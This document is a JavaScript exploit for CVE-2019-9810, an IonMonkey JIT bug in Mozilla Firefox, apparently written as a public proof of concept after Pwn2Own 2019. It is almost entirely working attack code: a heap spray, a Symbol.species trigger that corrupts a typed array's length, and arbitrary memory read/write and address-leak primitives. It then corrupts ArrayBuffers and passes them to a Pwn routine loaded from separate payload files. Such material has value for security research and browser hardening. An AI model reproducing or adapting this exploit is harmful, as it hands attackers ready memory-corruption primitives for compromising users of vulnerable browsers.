// Axel '0vercl0k' Souchet - 27 April 2019 // CVE-2019-9810 - IonMonkey MArraySlice incorrect alias information // The issue has been found by Amat Cama and Richard Zhu for compromising Mozilla Firefox // during Pwn2Own2019. // const Debug = false; const dbg = p => { if(Debug == false) { return; } print('Debug: ' + p); }; const ArraySize = 0x5; const WantedArraySize = 0x42424242; let arr = null; let Trigger = false; const Spray = []; function f(Special, Idx, Value) { arr[Idx] = 0x41414141; Special.slice(); arr[Idx] = Value; } class SoSpecial extends Array { static get [Symbol.species]() { return function() { if(!Trigger) { return; } arr.length = 0; for(let i = 0; i < 0x40000; i++) { Spray.push(new Uint32Array(ArraySize)); } }; } }; function get_me_biggie() { for(let Idx = 0; Idx < 0x1000; Idx++) { Spray.push(new Uint32Array(ArraySize)); } const SpecialSnowFlake = new SoSpecial(); for(let Idx = 0; Idx < 10; Idx++) { arr = new Array(0x7e); Trigger = false; for(let Idx = 0; Idx < 0x400; Idx++) { f(SpecialSnowFlake, 0x70, Idx); } Trigger = true; f(SpecialSnowFlake, 47, WantedArraySize); if(arr.length != 0) { continue; } const Biggie = Spray.find(e => e.length != ArraySize); if(Biggie != null) { return Biggie; } } return null; } BigInt.fromBytes = Bytes => { let Int = BigInt(0); for(const Byte of Bytes.reverse()) { Int = (Int << 8n) | BigInt(Byte); } return Int; }; BigInt.toBytes = Addr => { let Remainder = Addr; const Bytes = []; while(Remainder != 0) { const Low = Remainder & 0xffn; Remainder = Remainder >> 8n; Bytes.push(Number(Low)); } // // Pad it if we need to do so. // if(Bytes.length < 8) { while(Bytes.length != 8) { Bytes.push(0); } } return Bytes; }; BigInt.fromUint32s = Uint32s => { let Int = BigInt(0); for(const Uint32 of Uint32s.reverse()) { Int = (Int << 32n) | BigInt(Uint32); } return Int; }; BigInt.fromJSValue = Addr => { return Addr & 0x0000ffffffffffffn; }; function main(LoadedFromBrowser) { if(LoadedFromBrowser) { print = p => { console.log(p); }; } const Biggie = get_me_biggie(); if(Biggie == null || Biggie.length != WantedArraySize) { dbg('Failed :-(, reloading..'); location.reload(); return; } // // Scan for one of the Uint32Array we sprayed earlier. // let Biggie2AdjacentSize = null; const JSValueArraySize = 0xfffa000000000000n | BigInt(ArraySize); for(let Idx = 0; Idx < 0x100; Idx++) { const Qword = BigInt(Biggie[Idx]) << 32n | BigInt(Biggie[Idx + 1]); if(Qword == JSValueArraySize) { Biggie2AdjacentSize = Idx + 1; break; } } if(Biggie2AdjacentSize == null) { dbg('Failed to find an adjacent array :(.'); return; } // // Use the array length as a marker. // const AdjacentArraySize = 0xbbccdd; Biggie[Biggie2AdjacentSize] = AdjacentArraySize; // // Find the array now.. // const AdjacentArray = Spray.find( e => e.length == AdjacentArraySize ); if(AdjacentArray == null) { dbg('Failed to find the corrupted adjacent array :(.'); return; } const Read64 = Addr => { const SizeInDwords = 2; Biggie[Biggie2AdjacentSize] = SizeInDwords; Biggie[Biggie2AdjacentSize + 2 + 2] = Number(Addr & 0xffffffffn); Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = Number(Addr >> 32n); return BigInt.fromUint32s([AdjacentArray[0], AdjacentArray[1]]); }; const Write64 = (Addr, Value) => { const SizeInDwords = 2; Biggie[Biggie2AdjacentSize] = SizeInDwords; Biggie[Biggie2AdjacentSize + 2 + 2] = Number(Addr & 0xffffffffn); Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = Number(Addr >> 32n); AdjacentArray[0] = Number(Value & 0xffffffffn); AdjacentArray[1] = Number(Value >> 32n); return true; }; const AddrOf = Obj => { AdjacentArray.hell_on_earth = Obj; // 0:000> dqs 1ae5716e76a0 // 00001ae5`716e76a0 00001ae5`7167dfd0 // 00001ae5`716e76a8 000010c5`8e73c6a0 // 00001ae5`716e76b0 00000238`9334e790 // 00001ae5`716e76b8 00007ff6`6be55010 js!emptyElementsHeader+0x10 // 00001ae5`716e76c0 fffa0000`00000000 // 00001ae5`716e76c8 fff88000`00bbccdd // 0:000> !telescope 0x00002389334e790 // 0x000002389334e790|+0x0000: 0xfffe1ae5716e7640 (Unknown) const SlotOffset = Biggie2AdjacentSize - (3 * 2); const SlotsAddress = BigInt.fromUint32s( Biggie.slice(SlotOffset, SlotOffset + 2) ); return BigInt.fromJSValue(Read64(SlotsAddress)); }; // // Let's move the battle field to the TenuredHeap // const AB1 = new ArrayBuffer(10); const AB2 = new ArrayBuffer(10); const AB1Address = AddrOf(AB1); const AB2Address = AddrOf(AB2); dbg('AddrOf(AB1): ' + AB1Address.toString(16)); dbg('AddrOf(AB2): ' + AB2Address.toString(16)); Write64(AB1Address + 0x28n, 0xfff8800000010000n); Write64(AB2Address + 0x28n, 0xfff8800000010000n); if(AB1.byteLength != AB2.byteLength && AB1.byteLength != 0x10000) { dbg('Corrupting the ArrayBuffers failed :(.'); return; } // // From there, we're kinda done - just reusing a bunch of stuff I have already // wrote for blazefox. // if(!LoadedFromBrowser) { load('payload.js'); load('toolbox.js'); } Pwn(AB1, AB2); } try { document; } catch(e) { main(false); }